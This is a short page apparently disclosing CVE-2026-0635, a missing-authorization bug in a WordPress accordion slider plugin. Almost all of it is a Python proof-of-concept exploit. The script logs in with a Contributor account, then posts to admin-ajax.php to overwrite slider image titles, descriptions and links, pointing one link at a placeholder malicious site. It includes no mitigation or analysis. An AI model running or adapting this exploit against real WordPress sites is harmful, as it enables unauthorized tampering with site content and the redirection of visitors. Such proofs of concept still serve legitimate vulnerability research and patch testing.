CVE-2026-0635 WordPress Responsive Accordion Slider 插件权限绕过漏洞

import requests import sys from urllib.parse import urlencode # Configuration wordpress_url = "http://target-wordpress-site.com" username = "attacker_contributor" password = "attacker_password" # Target slider ID (can be enumerated or guessed) slider_id = 1 # Malicious metadata malicious_data = { "action": "resp_accordion_silder_save_images", "slider_id": str(slider_id), "image_title": "Hacked Title", "image_description": "Malicious content injected by attacker", "image_alt": "Compromised Alt Text", "image_link": "https://malicious-site.com" } def exploit(): """ CVE-2026-0635 PoC - Missing Authorization in Responsive Accordion Slider This exploit demonstrates the lack of capability check in the 'resp_accordion_silder_save_images' function, allowing any authenticated user with Contributor+ role to modify slider image metadata. Steps: 1. Authenticate with WordPress using Contributor account 2. Send crafted POST request to admin-ajax.php endpoint 3. Server processes request without authorization verification 4. Malicious metadata is saved to database """ # Create session session = requests.Session() # Step 1: Login to WordPress login_url = f"{wordpress_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": f"{wordpress_url}/wp-admin/" } login_response = session.post(login_url, data=login_data) if "wordpress_logged_in" not in session.cookies.get_dict(): print("[-] Authentication failed") return False print("[+] Authentication successful as Contributor") # Step 2: Send malicious request to modify slider metadata ajax_url = f"{wordpress_url}/wp-admin/admin-ajax.php" print(f"[*] Sending malicious request to modify slider {slider_id}...") exploit_response = session.post(ajax_url, data=malicious_data) # Step 3: Verify exploitation if exploit_response.status_code == 200: print("[+] Exploit sent successfully") print("[*] Slider metadata has been modified without proper authorization") return True else: print("[-] Exploit failed") return False if __name__ == "__main__": exploit()